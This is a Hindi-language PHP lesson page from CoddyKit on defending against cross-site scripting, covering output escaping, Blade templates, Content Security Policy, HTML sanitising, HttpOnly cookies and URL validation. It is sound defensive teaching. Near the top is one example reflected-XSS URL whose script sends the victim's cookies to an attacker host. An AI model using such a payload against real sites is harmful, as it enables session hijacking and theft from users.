क्रॉस-साइट स्क्रिप्टिंग (XSS) से बचाव
htmlspecialchars से आउटपुट एस्केप करें और Content Security Policy लागू करें
क्रॉस-साइट स्क्रिप्टिंग (XSS) से बचाव, CoddyKit पर PHP Academy का एक निःशुल्क पाठ है। यह 4 में से 1वाँ पाठ है। आप नीचे पूरा पाठ निःशुल्क पढ़ सकते हैं—फिर अंतर्निहित कोड संपादक और 24/7 एआई ट्यूटर के साथ ब्राउज़र में इसका व्यावहारिक अभ्यास कर सकते हैं। यह PHP Academy सीखने के मार्ग का हिस्सा है और आपकी प्रगति वेब तथा CoddyKit ऐप पर सिंक होती रहती है। PHP Academy पाठ्यक्रम में कुल 4 पाठ शामिल हैं।
XSS क्या है?
क्रॉस-साइट स्क्रिप्टिंग (XSS) तब होती है जब कोई हमलावर अन्य उपयोगकर्ताओं द्वारा देखे जाने वाले वेब पृष्ठों में दुर्भावनापूर्ण JavaScript डाल देता है। यह स्क्रिप्ट पीड़ित के ब्राउज़र में उनके सत्र, कुकीज़ और DOM तक पहुँच के साथ चलती है।
प्रतिबिंबित XSS
दुर्भावनापूर्ण पेलोड यूआरएल या फ़ॉर्म पैरामीटर में होता है और सर्वर द्वारा प्रतिक्रिया में वापस दिखाया जाता है।
// Malicious URL:
https://example.com/search?q=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>संग्रहीत XSS
पेलोड डेटाबेस में सहेजा जाता है, जैसे टिप्पणी या प्रोफ़ाइल फ़ील्ड में, और उस पृष्ठ को देखने वाले सभी आगंतुकों को दिखाया जाता है।
DOM-आधारित XSS
यह भेद्यता पूरी तरह क्लाइंट-साइड JavaScript में होती है, जो innerHTML या document.write का उपयोग करके अविश्वसनीय डेटा को असुरक्षित ढंग से DOM में डालती है।
htmlspecialchars()
HTML के विशेष वर्णों को हानिरहित इकाइयों में बदलने के लिए परिणाम को एस्केप करें। उपयोगकर्ता द्वारा दिए गए डेटा को दिखाने से पहले हमेशा एस्केप करें।
<?php
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, "UTF-8");
// Converts: < > " ' & into HTML entitiesब्लेड में स्वचालित एस्केपिंग
Laravel ब्लेड का {{ }} सिंटैक्स अपने-आप htmlspecialchars को कॉल करता है। {!! !!} का उपयोग केवल विश्वसनीय और स्वच्छ किए गए HTML के लिए करें।
{{-- Safe: --}}
<h1>{{ $user->name }}</h1>
{{-- Dangerous if $content is untrusted: --}}
<div>{!! $content !!}</div>कंटेंट सुरक्षा नीति (CSP)
CSP HTTP शीर्षलेख ब्राउज़रों को केवल विश्वसनीय स्रोतों से स्क्रिप्ट चलाने का निर्देश देता है और पृष्ठ तक पहुँच जाने वाली डाली गई इनलाइन स्क्रिप्ट को भी रोकता है।
<?php
$response->headers->set("Content-Security-Policy",
"default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'"
);HTML इनपुट को स्वच्छ करना
यदि आपको समृद्ध HTML इनपुट की अनुमति देनी ही हो, जैसे WYSIWYG संपादक से प्राप्त इनपुट, तो उसे HTML Purifier जैसी अनुमति-सूची वाली लाइब्रेरी या mews/purifier Laravel पैकेज से स्वच्छ करें।
<?php
// Using HTMLPurifier:
$purifier = new HTMLPurifier();
$cleanHtml = $purifier->purify($dirtyHtml);X-XSS-Protection शीर्षलेख
X-XSS-Protection: 1; mode=block शीर्षलेख जोड़ें (पुराने ब्राउज़रों के समर्थन के लिए)। आधुनिक ब्राउज़र इसके बजाय CSP पर निर्भर करते हैं।
केवल-एचटीटीपी कुकीज़
सत्र कुकीज़ पर HttpOnly फ़्लैग लगाने से JavaScript उन्हें पढ़ नहीं पाती — इसलिए स्क्रिप्ट डाल दिए जाने पर भी XSS-आधारित सत्र चोरी का जोखिम कम होता है।
यूआरएल का सत्यापन
उपयोगकर्ता द्वारा दिए गए यूआरएल को सत्यापन के बिना कभी भी href या src में न डालें। javascript: यूआरआई XSS चला सकता है।
<?php
$url = filter_var($input, FILTER_VALIDATE_URL);
if ($url === false || !in_array(parse_url($url, PHP_URL_SCHEME), ["http", "https"])) {
$url = "#"; // fallback
}सारांश
परिणाम को हमेशा htmlspecialchars (या ब्लेड के {{ }}) से एस्केप करें। कंटेंट सुरक्षा नीति जोड़ें। अनुमति-सूची वाली लाइब्रेरी से HTML इनपुट को स्वच्छ करें। HttpOnly कुकीज़ का उपयोग करें।
त्वरित जाँच
कौन-सा PHP फ़ंक्शन विशेष HTML वर्णों को इकाइयों में बदलता है?
एआई शिक्षक के साथ PHP सीखें — निःशुल्क
अपने ब्राउज़र में वास्तविक कोड लिखें और चलाएँ, चौबीसों घंटे एआई शिक्षक से तुरंत सहायता पाएँ, और वेब या ऐप पर वहीं से शुरू करें जहाँ आपने छोड़ा था।
- पाठ्यक्रम
- 49
- पाठ
- 195
अक्सर पूछे जाने वाले प्रश्न
क्या “क्रॉस-साइट स्क्रिप्टिंग (XSS) से बचाव” पाठ निःशुल्क है?
हाँ—“क्रॉस-साइट स्क्रिप्टिंग (XSS) से बचाव” का पूरा पाठ यहाँ वेब पर निःशुल्क पढ़ा जा सकता है। इंटरैक्टिव अभ्यास (अंतर्निहित कोड संपादक और 24/7 एआई ट्यूटर) करने और PHP Academy पाठ्यक्रम का बाकी हिस्सा अनलॉक करने के लिए CoddyKit PRO लें। PHP Academy पाठ्यक्रम में कुल 4 पाठ शामिल हैं।
“क्रॉस-साइट स्क्रिप्टिंग (XSS) से बचाव” में मैं क्या सीखूँगा?
htmlspecialchars से आउटपुट एस्केप करें और Content Security Policy लागू करें आप ब्राउज़र में सीधे चलाए जाने वाले व्यावहारिक कोड के साथ PHP Academy का अभ्यास करते हैं, और पाठ पूरा करते समय 24/7 एआई ट्यूटर आपके प्रश्नों के उत्तर देता है।
क्या PHP Academy शुरू करने के लिए मुझे किसी अनुभव की आवश्यकता है?
पहले के अनुभव की आवश्यकता नहीं है। CoddyKit पर PHP Academy शुरुआती से लेकर उन्नत शिक्षार्थियों तक सभी के लिए व्यवस्थित किया गया है, इसलिए आप यहीं से या शुरुआत से सीखना शुरू कर सकते हैं और अपनी गति से आगे बढ़ सकते हैं। यह 4 में से 1वाँ पाठ है।
“क्रॉस-साइट स्क्रिप्टिंग (XSS) से बचाव” पाठ पूरा करने में कितना समय लगता है?
CoddyKit का अधिकांश पाठ लगभग 5–10 मिनट में पूरा हो जाता है। हर पाठ छोटा और संवादात्मक है, इसलिए आप लगातार प्रगति करते हैं और वेब या ऐप पर वहीं से सीखना जारी रख सकते हैं जहाँ आपने छोड़ा था।
क्या मैं इस PHP Academy पाठ में कोड लिख और चला सकता हूँ?
हाँ। हर PHP Academy पाठ में एक अंतर्निर्मित कोड संपादक शामिल है, जिससे आप सीधे अपने ब्राउज़र में वास्तविक कोड लिख और चला सकते हैं और तुरंत एआई प्रतिक्रिया पा सकते हैं—स्थानीय सेटअप की आवश्यकता नहीं है।
इस पाठ्यक्रम के सभी पाठ
- क्रॉस-साइट स्क्रिप्टिंग (XSS) से बचाव
- SQL इंजेक्शन और पैरामीटरयुक्त क्वेरी
- CSRF सुरक्षा
- पासवर्ड का सुरक्षित संग्रहण